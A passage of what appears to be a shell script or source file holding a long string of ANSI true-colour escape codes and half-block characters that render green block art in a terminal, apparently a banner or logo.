"9;175;67m\e[38;2;49;177;67m▄\e[48;2;49;177;68m\e[38;2;50;180;69m▄\e[48;2;50;179;68m\e[38;2;51;182;69m▄\e[48;2;50;180;69m\e[38;2;51;183;70m▄\e[48;2;51;182;69m\e[38;2;52;185;71m▄\e[48;2;51;184;70m\e[" \ 101 | "38;2;52;187;71m▄\e[48;2;52;185;71m\e[38;2;53;189;72m▄\e[48;2;52;187;71m\e[38;2;53;190;73m▄\e[48;2;53;189;72m\e[38;2;54;192;73m▄\e[48;2;53;190;73m\e[38;2;54;194;74m▄\e[48;2;54;192;73m\e[38;2;55;195;" \ 102 | "74m▄\e[48;2;54;194;74m\e[38;2;55;197;75m▄\e[48;2;55;195;74m\e[38;2;55;198;76m▄\e[48;2;55;197;75m\e[38;2;56;200;76m▄\e[48;2;56;199;76m\e[38;2;57;202;77m▄\e[48;2;56;200;77m\e[38;2;57;204;78m▄\e[48;2;" \ 103 | "57;202;77m\e[38;2;57;205;78m▄\e[48;2;57;204;78m\e[38;2;58;207;79m▄\e[48;2;57;205;78m\e[38;2;59;209;80m▄\e[48;2;57;204;78m\e[38;2;59;210;80m▄\e[48;2;59;209;80m\e[38;2;58;210;80m▄\e[48;2;34;122;46m\e" \ 104 | "[38;2;60;214;81m▄\e[48;2;32;118;45m\e[38;2;31;113;43m▄\e[48;2;60;214;82m\e[38;2;32;116;44m▄\e[48;2;60;215;82m\e[38;2;61;219;84m▄\e[48;2;58;206;79m\e[38;2;62;220;84m▄\e[48;2;32;116;44m\e[38;2;62;222" \ 105 | ";85m▄\e[0m\e[38;2;61;222;84m▄\e[38;2;43;155;59m▄\e[38;2;19;68;26m▄\e[38;2;28;102;39m▀\e[38;2;43;154;59m▀\e[38;2;54;196;75m▀\e[38;2;62;221;84m▀\e[38;2;65;232;89m▀\e[38;2;66;234;89m▀\e[38;2;65;232;88" \ 106 | "m▀\e[38;2;60;218;83m▀\e[38;2;58;208;79m▀\e[38;2;51;186;71m▀\e[38;2;41;148;57m▀\e[38;2;23;85;32m▀ \e[38;2;20;74;28m▄\e[38;2;49;176;67m▄\e[38;2;71;254;97m▄\e[48;2;49;177;67m\e[38;2;51;181;69m▄\e[0m\e" \ 107 | "[38;2;61;220;84m▀\e[38;2;16;57;22m▀ \e[38;2;22;80;30m▄\e[48;2;35;127;48m\e[38;2;52;184;70m▄\e[0m\e[38;2;19;69;26m▀\n \e[38;2;40;144;55m▄\e[48;2;39;141;53m\e[38;2;43;155;58m▄\e[48;2;43;155" \ 108 | ";59m\e[38;2;44;158;60m▄\e[48;2;44;157;60m\e[38;2;36;129;49m▄\e[0m\e[38;2;41;148;56m▀\e[48;2;23;83;31m\e[38;2;29;105;40m▄\e[48;2;29;107;40m\e[38;2;46;164;63m▄\e[48;2;43;152;58m\e[38;2;46;166;63m▄\e[" \ 109 | "48;2;46;165;63m\e[38;2;29;103;39m▄\e[48;2;31;113;43m\e[38;2;16;59;22m▄\e[0m\e[38;2;18;65;25m▄ \e[38;2;25;91;35m▀\e[38;2;49;178;68m▀\e[48;2;51;182;69m\e[38;2;39;144;54m▄\e[48;2;50;181;69m\e[38;2" \ 110 | ";52;186;71m▄\e[48;2;52;185;71m\e[38;2;52;187;71m▄\e[48;2;52;186;71m\e[38;2;52;189;72m▄\e[48;2;53;188;72m\e[38;2;53;191;73m▄\e[48;2;53;190;73m\e[38;2;54;193;74m▄\e[48;2;53;192;73m\e[38;2;54;195;74m▄" \ 111 | "\e[48;2;54;193;74m\e[38;2;55;196;75m▄\e[48;2;55;195;74m\e[38;2;55;198;76m▄\e[48;2;55;196;75m\e[38;2;56;200;76m▄\e[48;2;55;198;76m\e[38;2;56;201;77m▄\e[48;2;56;200;76m\e[38;2;57;203;78m▄\e[48;2;57;2" \ 112 | "02;77m\e[38;2;57;205;78m▄\e[48;2;57;203;78m\e[38;2;58;206;79m▄\e[48;2;57;205;78m\e[38;2;58;208;79m▄\e[48;2;58;207;79m\e[38;2;59;210;80m▄\e[48;2;59;208;80m\e[38;2;59;211;81m▄\e[48;2;59;210;80m\e[38;" \ 113 | "2;60;213;81m▄\e[48;2;59;212;81m\e[38;2;60;215;82m▄\e[48;2;60;213;81m\e[38;2;60;216;83m▄\e[48;2;60;215;82m\e[38;2;61;218;83m▄\e[48;2;59;215;82m\e[38;2;62;220;84m▄\e[48;2;61;218;83m\e[38;2;61;219;83m" \ 114 | "▄\e[48;2;32;115;43m\e[38;2;62;223;85m▄\e[48;2;28;100;38m\e[38;2;37;134;51m▄\e[48;2;62;223;85m\e[38;2;21;77;29m▄\e[48;2;63;225;86m\e[38;2;55;198;75m▄\e[48;2;63;225;86m\e[38;2;64;230;88m▄\e[48;2;64;2" \ 115 | "28;87m\e[38;2;64;230;88m▄\e[48;2;64;230;88m\e[38;2;63;228;87m▄\e[48;2;61;220;83m\e[38;2;66;235;90m▄\e[48;2;48;172;65m\e[38;2;66;236;90m▄\e[48;2;33;118;45m\e[38;2;67;238;91m▄\e[48;2;20;71;27m\e[38;2" \ 116 | ";67;240;92m▄\e[0m\e[38;2;68;241;93m▄\e[38;2;66;236;90m▄\e[38;2;66;235;90m▄\e[38;2;66;235;89m▄\e[38;2;68;243;93m▄\e[48;2;17;61;23m\e[38;2;70;249;95m▄\e[48;2;29;103;39m\e[38;2;70;251;96m▄\e[48;2;46;1" \ 117 | "65;63m\e[38;2;71;253;97m▄\e[48;2;62;224;85m\e[38;2;72;255;98m▄\e[48;2;71;253;97m\e[38;2;46;165;63m▄\e[0m\e[38;2;71;252;97m▀\e[38;2;28;102;39m▀ \e[38;2;59;211;81m▄\e[48;2;67;238;91m\e[38;2;46;" \ 118 | "163;62m▄\e[0m\e[38;2;15;54;20m▀\n \e[38;2;19;68;26m▄\e[48;2;14;50;19m\e[38;2;44;157;60m▄\e[48;2;42;149;56m\e[38;2;43;158;60m▄\e[48;2;43;157;59m\e[38;2;45;161;61m▄\e[48;2;45;160;61m\e[38;2;30;109" \ 119 | ";41m▄\e[0m\e[38;2;32;115;43m▀ \e[38;2;23;84;32m▄\e[48;2;46;166;63m\e[38;2;47;169;64m▄\e[48;2;46;167;63m\e[38;2;46;164;62m▄\e[48;2;36;130;49m\e[38;2;17;63;24m▄\e[48;2;17;61;23m\e[38;2;44;159;60m▄\e[" \ 120 | "48;2;48;172;66m\e[38;2;48;175;66m▄\e[48;2;49;174;66m\e[38;2;48;175;66m▄\e[48;2;43;155;59m\e[38;2;50;179;68m▄\e[48;2;25;91;35m\e[38;2;50;181;69m▄\e[0m\e[38;2;47;169;65m▄\e[38;2;26;94;35m▄ \e[38;2;4" \ 121 | "6;165;62m▄\e[48;2;27;96;36m\e[38;2;53;191;73m▄\e[48;2;33;118;45m\e[38;2;32;117;45m▄\e[48;2;53;191;73m\e[38;2;23;85;32m▄\e[48;2;54;193;74m\e[38;2;49;174;67m▄\e[48;2;53;192;73m\e[38;2;55;198;75m▄\e[4" \ 122 | "8;2;55;196;75m\e[38;2;55;198;75m▄\e[48;2;55;198;75m\e[38;2;55;200;76m▄\e[48;2;56;199;76m\e[38;2;57;202;77m▄\e[48;2;56;201;77m\e[38;2;57;204;78m▄\e[48;2;57;203;78m\e[38;2;58;206;78m▄\e[48;2;57;204;7" \ 123 | "8m\e[38;2;58;208;79m▄\e[48;2;58;206;79m\e[38;2;59;209;80m▄\e[48;2;58;208;79m\e[38;2;59;211;81m▄\e[48;2;59;209;80m\e[38;2;59;213;81m▄\e[48;2;59;211;81m\e[38;2;60;214;82m▄\e[48;2;60;213;81m\e[38;2;60" \ 124 | ";216;83m▄\e[48;2;60;214;82m\e[38;2;61;217;83m▄\e[48;2;60;216;83m\e[38;2;61;219;84m▄\e[48;2;61;218;83m\e[38;2;62;221;84m▄\e[48;2;62;220;84m\e[38;2;62;223;85m▄\e[48;2;62;221;84m\e[38;2;62;223;85m▄\e[" \ 125 | "48;2;62;223;85m\e[38;2;62;225;85m▄\e[48;2;63;224;86m\e[38;2;64;227;87m▄\e[48;2;62;224;85m\e[38;2;64;229;88m▄\e[48;2;64;228;87m\e[38;2;64;229;87m▄\e[48;2;48;173;66m\e[38;2;65;232;89m▄\e[48;2;19;68;2" \ 126 | "5m\e[38;2;63;224;85m▄\e[48;2;37;135;51m\e[38;2;31;113;43m▄\e[48;2;65;233;89m\e[38;2;20;74;28m▄\e[48;2;66;236;91m\e[38;2;39;139;53m▄\e[48;2;67;238;91m\e[38;2;60;213;81m▄\e[48;2;66;237;90m\e[38;2;68;" \ 127 | "243;93m▄\e[48;2;66;234;89m\e[38;2;69;245;94m▄\e[48;2;66;237;90m\e[38;2;69;246;94m▄\e[48;2;68;242;92m\e[38;2;70;248;95m▄\e[48;2;68;245;93m\e[38;2;70;250;95m▄\e[48;2;70;248;95m\e[38;2;70;251;96m▄\e[4" \ 128 | "8;2;70;249;95m\e[38;2;71;253;97m▄\e[48;2;70;251;96m\e[38;2;58;209;80m▄\e[48;2;71;253;97m\e[38;2;34;122;47m▄\e[0m\e[38;2;70;250;96m▀\e[38;2;47;167;64m▀ \e[38;2;35;124;47m▄ \e[38;2;44;157;60m▄" \ 129 | "\e[48;2;48;172;66m\e[38;2;72;255;98m▄\e[48;2;70;249;96m\e[38;2;27;97;37m▄\e[0m\n \e[38;2;32;115;43m▄\e[48;2;44;159;60m\e[38;2;44;161;61m▄\e[48;2;44;158;60m\e[38;2;45;160;61m▄\e[48;2;44;160;61m\e[" \ 130 | "38;2;45;164;62m▄\e[48;2;37;131;50m\e[38;2;39;141;54m▄\e[48;2;19;68;26m\e[38;2;21;74;28m▄\e[0m\e[38;2;18;66;25m▀ \e[48;2;39;139;53m\e[38;2;48;172;65m▄\e[48;2;48;172;66m\e[38;2;48;174;66m▄\e[48;2;31;" \ 131 | "112;42m\e[38;2;22;81;30m▄\e[48;2;30;108;41m\e[38;2;46;167;63m▄\e[48;2;49;177;68m\e[38;2;49;177;68m▄\e[48;2;49;176;67m\e[38;2;50;179;68m▄\e[48;2;50;180;69m\e[38;2;50;180;69m▄\e[48;2;50;181;68m\e[38;" \ 132 | "2;51;182;70m▄\e[48;2;50;181;69m\e[38;2;51;186;70m▄\e[48;2;52;185;71m\e[38;2;52;186;71m▄\e[48;2;52;187;71m\e[38;2;53;191;73m▄\e[48;2;44;157;60m\e[38;2;41;151;57m▄\e[48;2;41;151;57m\e[38;2;16;58;22m▄" \ 133 | "\e[48;2;54;192;74m\e[38;2;45;162;61m▄\e[48;2;52;188;71m\e[38;2;55;197;75m▄\e[48;2;55;195;74m\e[38;2;54;194;74m▄\e[48;2;43;155;59m\e[38;2;56;200;76m▄\e[48;2;20;73;28m\e[38;2;55;196;74m▄\e[48;2;35;12" \ 134 | "7;48m\e[38;2;32;116;44m▄\e[48;2;57;202;77m\e[38;2;23;83;31m▄\e[48;2;57;204;78m\e[38;2;41;145;55m▄\e[48;2;57;205;78m\e[38;2;58;208;79m▄\e[48;2;57;205;78m\e[38;2;59;211;81m▄\e[48;2;58;208;79m\e[38;2;" \ 135 | "59;212;81m▄\e[48;2;58;210;80m\e[38;2;60;214;82m▄\e[48;2;58;211;80m\e[38;2;60;215;82m▄\e[48;2;59;212;81m\e[38;2;61;217;83m▄\e[48;2;60;216;82m\e[38;2;61;219;84m▄\e[48;2;61;217;83m\e[38;2;62;220;84m▄" \ 136 | "\e[48;2;61;219;84m\e[38;2;62;222;85m▄\e[48;2;62;221;84m\e[38;2;62;224;86m▄\e[48;2;62;222;85m\e[38;2;63;225;86m▄\e[48;2;63;224;86m\e[38;2;63;226;86m▄\e[48;2;63;226;86m\e[38;2;62;225;86m▄\e[48;2;64;2" \ 137 | "27;87m\e[38;2;51;186;71m▄\e[48;2;64;229;88m\e[38;2;61;221;84m▄\e[48;2;64;228;86m\e[38;2;66;234;89m▄\e[48;2;64;231;88m\e[38;2;66;236;90m▄\e[48;2;66;234;89m\e[38;2;66;237;91m▄\e[48;2;65;235;89m\e[38;" \ 138 | "2;66;236;89m▄\e[48;2;66;237;91m\e[38;2;66;237;90m▄\e[48;2;67;239;91m\e[38;2;66;237;91m▄\e[48;2;59;211;80m\e[38;2;68;244;93m▄\e[48;2;34;122;46m\e[38;2;69;245;94m▄\e[48;2;19;70;27m\e[38;2;68;245;93m▄" \ 139 | "\e[48;2;17;61;23m\e[38;2;54;194;74m▄\e[48;2;23;83;31m\e[38;2;40;145;55m▄\e[48;2;28;101;38m\e[38;2;30;108;41m▄\e[48;2;29;104;40m\e[38;2;26;92;35m▄\e[48;2;26;95;36m\e[38;2;27;98;37m▄\e[48;2;19;69;26m" \ 140 | "\e[38;2;32;115;44m▄\e[0m\e[38;2;43;154;59m▄\e[38;2;59;211;81m▄\e[38;2;72;255;98m▄\e[48;2;22;79;30m\e[38;2;71;253;97m▄\e[48;2;52;186;71m\e[38;2;37;132;50m▄\e[0m\e[38;2;52;185;71m▀\e[38;2;15;54;20m▀ " \ 141 | " \e[38;2;49;175;67m▄\e[48;2;45;160;61m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;68;243;93m▄\e[0m\e[38;2;54;194;74m▀\n \e[48;2;43;154;58m\e[38;2;46;166;63m▄\e[48;2;46;165;63m\e[38;2;46;167;6" \ 142 | "3m▄\e[48;2;45;165;62m\e[38;2;46;168;64m▄\e[48;2;46;164;62m\e[38;2;48;171;65m▄\e[48;2;28;101;38m\e[38;2;25;92;35m▄\e[0m \e[48;2;28;100;38m\e[38;2;44;159;61m▄\e[48;2;49;177;68m\e[38;2;50;180;69m▄\e[" \ 143 | "48;2;43;154;59m\e[38;2;41;148;56m▄\e[0m\e[38;2;28;101;38m▀\e[38;2;51;182;69m▀\e[48;2;51;184;70m\e[38;2;14;50;19m▄\e[48;2;52;185;71m\e[38;2;17;62;23m▄\e[48;2;52;187;71m\e[38;2;23;85;32m▄\e[48;2;53;1" \ 144 | "89;72m\e[38;2;35;127;48m▄\e[48;2;53;190;73m\e[38;2;51;183;70m▄\e[48;2;54;192;73m\e[38;2;49;180;68m▄\e[0m\e[38;2;44;157;60m▀ \e[38;2;35;128;48m▀\e[48;2;57;202;77m\e[38;2;27;97;37m▄\e[48;2;56;200;7" \ 145 | "7m\e[38;2;58;207;79m▄\e[48;2;57;205;78m\e[38;2;59;208;79m▄\e[48;2;58;206;79m\e[38;2;58;209;79m▄\e[48;2;50;179;68m\e[38;2;59;212;81m▄\e[48;2;28;102;39m\e[38;2;60;213;81m▄\e[48;2;23;83;31m\e[38;2;54;" \ 146 | "196;74m▄\e[48;2;33;120;45m\e[38;2;39;141;54m▄\e[48;2;44;160;61m\e[38;2;28;101;39m▄\e[48;2;50;181;69m\e[38;2;24;85;32m▄\e[48;2;50;179;68m\e[38;2;28;102;39m▄\e[48;2;40;142;54m\e[38;2;43;158;60m▄\e[48" \ 147 | ";2;51;185;70m\e[38;2;62;222;84m▄\e[48;2;62;223;85m\e[38;2;63;225;86m▄\e[48;2;62;224;85m\e[38;2;64;228;87m▄\e[48;2;64;227;87m\e[38;2;64;230;88m▄\e[48;2;64;228;87m\e[38;2;65;232;89m▄\e[48;2;63;229;87" \ 148 | "m\e[38;2;65;233;89m▄\e[48;2;64;230;88m\e[38;2;65;234;89m▄\e[48;2;52;185;70m\e[38;2;66;236;90m▄\e[48;2;22;79;30m\e[38;2;62;221;84m▄\e[48;2;29;104;40m\e[38;2;23;81;31m▄\e[0m\e[38;2;54;193;74m▀\e[38;2" \ 149 | ";67;240;92m▀\e[48;2;68;242;93m\e[38;2;28;101;39m▄\e[48;2;68;244;93m\e[38;2;44;156;59m▄\e[48;2;69;245;94m\e[38;2;56;200;76m▄\e[48;2;69;247;94m\e[38;2;64;230;88m▄\e[48;2;69;247;94m\e[38;2;69;250;95m▄" \ 150 | "\e[48;2;70;250;96m\e[38;2;71;253;97m▄\e[48;2;70;252;96m\e[38;2;72;255;98m▄\e[48;2;71;253;97m\e[38;2;71;254;97m▄\e[48;2;72;254;98m\e[38;2;70;248;95m▄\e[48;2;72;255;98m\e[38;2;66;235;90m▄\e[48;2;72;2" \ 151 | "55;98m\e[38;2;58;208;80m▄\e[48;2;72;255;98m\e[38;2;44;157;60m▄\e[48;2;72;255;98m\e[38;2;24;86;33m▄\e[0m\e[38;2;68;243;93m▀\e[38;2;41;147;56m▀ \e[38;2;20;73;28m▄\e[38;2;66;234;90m▄\e[48;2;54;19" \ 152 | "4;74m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;45;160;61m▄\e[0m\e[38;2;28;102;39m▀\n \e[48;2;17;61;23m\e[38;2;32;117;44m▄\e[48;2;47;169;64m\e[38;2;48;172;66" \ 153 | "m▄\e[48;2;47;167;63m\e[38;2;48;173;65m▄\e[48;2;48;173;66m\e[38;2;40;146;55m▄\e[0m\e[38;2;33;119;45m▀ \e[48;2;15;55;21m\e[38;2;38;139;53m▄\e[48;2;51;181;69m\e[38;2;51;184;70m▄\e[48;2;51;183;70m\e[3" \ 154 | "8;2;51;183;70m▄\e[48;2;29;107;40m\e[38;2;32;115;44m▄\e[0m\e[38;2;34;122;47m▄\e[38;2;34;122;47m▄\e[38;2;25;90;34m▄ \e[48;2;16;60;23m\e[38;2;32;117;44m▄\e[48;2;49;179;68m\e[38;2;56;201;77m▄\e[48;2;" \ 155 | "20;71;27m\e[38;2;57;202;77m▄\e[0m\e[38;2;48;174;66m▄\e[38;2;25;89;34m▄ \e[38;2;19;69;26m▀\e[48;2;53;192;73m\e[38;2;44;159;60m▄\e[48;2;56;202;76m\e[38;2;34;125;47m▄\e[0m\e[38;2;34;123;47m▀\e[38;2;" \ 156 | "35;126;48m▀\e[48;2;61;218;83m\e[38;2;17;60;23m▄\e[48;2;62;219;84m\e[38;2;49;177;67m▄\e[48;2;62;221;84m\e[38;2;63;225;86m▄\e[48;2;62;223;85m\e[38;2;63;226;86m▄\e[48;2;63;224;86m\e[38;2;63;226;86m▄\e" \ 157 | "[48;2;63;226;86m\e[38;2;63;228;87m▄\e[48;2;64;228;87m\e[38;2;65;231;88m▄\e[48;2;64;230;88m\e[38;2;65;233;89m▄\e[48;2;65;231;88m\e[38;2;66;234;89m▄\e[48;2;65;233;89m\e[38;2;66;236;90m▄\e[48;2;66;235" \ 158 | ";90m\e[38;2;67;238;91m▄\e[48;2;66;236;90m\e[38;2;67;239;92m▄\e[48;2;67;238;91m\e[38;2;68;241;92m▄\e[48;2;66;239;91m\e[38;2;68;243;93m▄\e[48;2;68;241;92m\e[38;2;68;243;93m▄\e[48;2;68;243;93m\e[38;2;" \ 159 | "68;244;93m▄\e[48;2;48;173;66m\e[38;2;70;248;95m▄\e[0m\e[38;2;68;244;93m▄\e[38;2;41;150;57m▄ \e[38;2;13;49;18m▀ \e[38;2;31;111;42m▄\e[38;2;67;237;91m▄\e[48;2;44;157;60m\e[38;2;58;207;7" \ 160 | "9m▄\e[48;2;70;250;96m\e[38;2;21;76;29m▄\e[48;2;57;204;78m\e[38;2;60;212;81m▄\e[48;2;72;255;98m\e[38;2;63;225;86m▄\e[0m\e[38;2;56;200;77m▀\n \e[38;2;22;80;30m▄\e[48;2;47;169;64m\e[38;2;49;177;68m▄\e" \ 161 | "[48;2;48;173;66m\e[38;2;48;174;66m▄\e[48;2;49;177;68m\e[38;2;49;179;68m▄\e[48;2;24;88;33m\e[38;2;30;109;41m▄\e[0m \e[48;2;13;49;19m\e[38;2;24;86;33m▄\e[48;2;52;185;71m\e[38;2;52;188;71m▄\e[48;2;51" \ 162 | ";186;71m\e[38;2;51;186;71m▄\e[48;2;52;188;71m\e[38;2;54;192;73m▄\e[48;2;53;191;73m\e[38;2;49;176;67m▄\e[48;2;41;151;57m\e[38;2;23;83;31m▄\e[0m\e[38;2;27;98;37m▀ \e[38;2;24;86;33m▄\e[48;2;54;194;7" \ 163 | "3m\e[38;2;57;205;78m▄\e[48;2;56;203;77m\e[38;2;57;204;78m▄\e[48;2;56;203;77m\e[38;2;59;209;80m▄\e[48;2;58;207;79m\e[38;2;58;210;79m▄\e[48;2;59;209;80m\e[38;2;58;210;80m▄\e[48;2;51;185;71m\e[38;2;60" \ 164 | ";214;82m▄\e[48;2;21;75;28m\e[38;2;60;215;82m▄\e[0m\e[38;2;48;171;65m▄\e[48;2;45;162;62m\e[38;2;61;219;84m▄\e[48;2;61;217;83m\e[38;2;61;218;83m▄\e[48;2;59;214;82m\e[38;2;61;221;84m▄\e[48;2;35;126;47" \ 165 | "m\e[38;2;63;224;85m▄\e[0m\e[38;2;51;183;70m▄\e[38;2;17;63;24m▄ \e[38;2;26;93;35m▀\e[48;2;54;196;75m\e[38;2;45;161;62m▄\e[48;2;64;230;87m\e[38;2;65;233;88m▄\e[48;2;64;231;88m\e[38;2;65;234;89m▄\e[48" \ 166 | ";2;66;234;89m\e[38;2;66;237;91m▄\e[48;2;66;236;90m\e[38;2;67;239;91m▄\e[48;2;66;237;91m\e[38;2;67;241;92m▄\e[48;2;67;239;91m\e[38;2;68;242;93m▄\e[48;2;68;241;92m\e[38;2;68;244;93m▄\e[48;2;68;242;93" \ 167 | "m\e[38;2;69;246;94m▄\e[48;2;68;244;94m\e[38;2;69;247;94m▄\e[48;2;69;246;94m\e[38;2;70;249;95m▄\e[48;2;70;247;95m\e[38;2;70;251;96m▄\e[48;2;70;249;95m\e[38;2;71;252;96m▄\e[48;2;69;249;95m\e[38;2;71;" \ 168 | "254;97m▄\e[48;2;71;253;97m\e[38;2;71;254;97m▄\e[48;2;71;254;97m\e[38;2;71;251;96m▄\e[48;2;70;248;95m\e[38;2;72;255;98m▄\e[48;2;47;168;64m\e[38;2;72;255;98m▄\e[48;2;21;77;29m\e[38;2;72;255;98m▄\e[0m" \ 169 | "\e[38;2;65;230;88m▄\e[38;2;49;174;67m▄\e[38;2;32;115;44m▄\e[38;2;21;75;28m▄\e[38;2;15;53;20m▄ \e[38;2;15;55;21m▄\e[38;2;21;75;28m▄\e[38;2;29;105;40m▄\e[38;2;42;149;57m▄\e[38;2;58;205;79m▄\e[38;2;71" \ 170 | ";252;97m▄\e[48;2;34;123;47m\e[38;2;72;255;98m▄\e[48;2;61;217;83m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;68;241;92m▄\e[48;2;39;138;53m\e[38;2;22;78;30m▄\e[0m\e[38;2;58;208;80m▄\e[48;2;56;199;76" \ 171 | "m\e[38;2;69;246;94m▄\e[0m\e[38;2;68;240;92m▀\n \e[48;2;37;132;50m\e[38;2;46;166;63m▄\e[48;2;49;179;68m\e[38;2;51;183;70m▄\e[48;2;48;174;66m\e[38;2;52;185;71m▄\e[48;2;51;183;70m\e[38;2;51;185;70m▄\e" \ 172 | "[0m\e[38;2;29;106;40m▀ \e[48;2;54;192;73m\e[38;2;52;185;70m▄\e[48;2;53;192;73m\e[38;2;55;196;75m▄\e[48;2;53;191;72m\e[38;2;54;197;75m▄\e[0m\e[38;2;22;78;29m▄ \e[48;2;43;155;59m\e[38;2;56;202;" \ 173 | "77m▄\e[48;2;58;207;79m\e[38;2;58;211;80m▄\e[48;2;58;208;79m\e[38;2;59;211;80m▄\e[48;2;59;212;81m\e[38;2;59;212;81m▄\e[48;2;60;213;81m\e[38;2;59;212;81m▄\e[48;2;59;213;81m\e[38;2;59;213;81m▄\e[48;2;" \ 174 | "61;217;83m\e[38;2;60;213;81m▄\e[0m\e[38;2;48;173;66m▀ \e[38;2;34;122;46m▀\e[48;2;63;224;86m\e[38;2;27;96;36m▄\e[48;2;62;224;85m\e[38;2;62;224;85m▄\e[48;2;62;222;85m\e[38;2;64;230;88m▄\e[48;2;64;228" \ 175 | ";87m\e[38;2;64;230;88m▄\e[48;2;64;230;88m\e[38;2;66;234;89m▄\e[48;2;45;160;61m\e[38;2;36;130;49m▄\e[48;2;59;210;80m\e[38;2;31;111;42m▄\e[48;2;66;235;90m\e[38;2;62;223;85m▄\e[48;2;64;233;89m\e[38;2;" \ 176 | "67;240;92m▄\e[48;2;67;238;91m\e[38;2;68;242;93m▄\e[48;2;67;240;92m\e[38;2;67;241;92m▄\e[48;2;68;242;93m\e[38;2;69;245;94m▄\e[48;2;67;242;92m\e[38;2;69;247;94m▄\e[48;2;68;244;93m\e[38;2;70;248;95m▄" \ 177 | "\e[48;2;68;245;93m\e[38;2;70;250;96m▄\e[48;2;69;245;93m\e[38;2;71;252;96m▄\e[48;2;69;247;94m\e[38;2;71;254;97m▄\e[48;2;70;249;94m\e[38;2;72;255;98m▄\e[48;2;70;250;95m\e[38;2;72;255;98m▄\e[48;2;71;2" \ 178 | "51;96m\e[38;2;72;255;98m▄\e[48;2;71;252;97m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;72;255;98m▄\e[48;2;71;254;97m\e[38;2;72;255;98m▄\e[48;2;71;252;97m\e[38;" \ 179 | "2;72;255;98m▄\e[48;2;71;253;97m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;71;253;97m▄\e[48;2;72;255;98m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;65;232;89m" \ 180 | "▄\e[48;2;72;255;98m\e[38;2;51;181;69m▄\e[48;2;72;255;98m\e[38;2;30;107;41m▄\e[48;2;72;255;98m\e[38;2;13;49;18m▄\e[48;2;72;255;98m\e[38;2;67;238;91m▄\e[48;2;72;255;98m\e[38;2;72;255;98m▄\e[48;2;72;2" \ 181 | "55;98m\e[38;2;59;209;80m▄\e[48;2;72;255;98m\e[38;2;30;106;40m▄\e[48;2;71;254;97m\e[38;2;62;221;85m▄\e[48;2;70;248;95m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;62;219;84m▄\e[48;2;69;245;94m\e[38;" \ 182 | "2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;65;231;89m▄\e[0m\e[38;2;68;242;93m▀\n \e[38;2;51;184;70m▀\e[38;2;49;175;67m▀\e[38;2;33;119;45m▀ \e[48;2;45;162;62m\e[38;2;35;128;49m▄\e[48;2;56;199;76m\e[" \ 183 | "38;2;56;202;76m▄\e[48;2;56;202;77m\e[38;2;57;204;78m▄\e[48;2;47;168;63m\e[38;2;48;171;65m▄\e[0m \e[48;2;21;76;29m\e[38;2;35;128;49m▄\e[48;2;59;212;80m\e[38;2;60;216;83m▄\e[48;2;59;212;81m\e[38;2" \ 184 | ";61;218;83m▄\e[48;2;60;216;83m\e[38;2;48;172;66m▄\e[48;2;61;218;83m\e[38;2;36;130;49m▄\e[48;2;62;220;84m\e[38;2;30;109;41m▄\e[48;2;62;222;85m\e[38;2;32;117;45m▄\e[48;2;54;194;74m\e[38;2;41;148;56m▄" \ 185 | "\e[0m\e[38;2;42;149;57m▄ \e[38;2;14;52;20m▀\e[38;2;53;191;73m▀\e[48;2;64;230;88m\e[38;2;57;203;77m▄\e[48;2;30;107;41m\e[38;2;21;76;29m▄\e[0m \e[38;2;42;151;57m▀\e[38;2;68;243;93m▀\e[48;2;69;247" \ 186 | ";94m\e[38;2;48;171;65m▄\e[48;2;69;246;94m\e[38;2;57;207;79m▄\e[0m\e[38;2;43;153;58m▀ \e[38;2;22;79;30m▀\e[38;2;31;111;42m▀\e[38;2;37;133;51m▀\e[38;2;43;154;59m▀\e[38;2;46;165;63m▀\e[38;2;47;168;64m" \ 187 | "▀\e[48;2;51;181;69m\e[38;2;41;148;57m▄\e[48;2;71;254;97m\e[38;2;72;255;98m▄\e[48;2;71;253;97m\e[38;2;72;255;98m▄\e[48;2;71;253;97m\e[38;2;72;255;98m▄\e[48;2;71;252;97m\e[38;2;72;255;98m▄\e[48;2;71;" \ 188 | "253;97m\e[38;2;72;255;98m▄\e[48;2;72;255;98m\e[38;2;50;179;69m▄\e[0m\e[38;2;33;118;45m▀\e[38;2;22;79;30m▄\e[38;2;45;160;61m▄\e[38;2;62;222;85m▄\e[48;2;14;50;19m\e[38;2;72;255;98m▄\e[48;2;39;140;54m" \ 189 | "\e[38;2;40;144;55m▄\e[0m\e[38;2;40;142;54m▀\e[38;2;17;62;23m▀\e[38;2;30;108;41m▄\e[38;2;54;191;73m▄\e[38;2;67;238;91m▀\e[38;2;35;124;47m▀\e[48;2;23;83;32m\e[38;2;15;55;21m▄\e[0m\e[38;2;60;215;82m▀" \ 190 | "\n \e[38;2;24;87;33m▀\e[48;2;57;205;78m\e[38;2;57;204;78m▄\e[48;2;57;206;78m\e[38;2;59;211;81m▄\e[0m\e[38;2;28;102;39m▀ \e[48;2;54;195;74m\e[38;2;41;146;55m▄\e[0m\e[38;2;49;177;68m▀\e[38" \ 191 | ";2;15;55;21m▀ \e[38;2;21;78;30m▄\e[38;2;63;226;86m▄\e[48;2;43;155;59m\e[38;2;68;242;93m▄\e[48;2;68;241;92m\e[38;2;68;244;93m▄\e[48;2;68;242;93m\e[38;2;67;242;92m▄\e[48;2;51;181;69m\e[38;2;69" \ 192 | ";247;94m▄\e[48;2;21;76;29m\e[38;2;70;249;95m▄\e[0m\e[38;2;57;205;78m▄\e[38;2;30;108;41m▄\e[38;2;39;139;54m▄\e[48;2;46;167;64m\e[38;2;72;255;98m▄\e[48;2;71;254;97m\e[38;2;71;251;96m▄\e[48;2;72;255;9" \ 193 | "8m\e[38;2;71;251;96m▄\e[48;2;65;232;89m\e[38;2;72;255;98m▄\e[48;2;53;190;73m\e[38;2;72;255;98m▄\e[48;2;43;155;59m\e[38;2;72;255;98m▄\e[48;2;35;124;47m\e[38;2;72;255;98m▄\e[48;2;26;95;36m\e[38;2;72;" \ 194 | 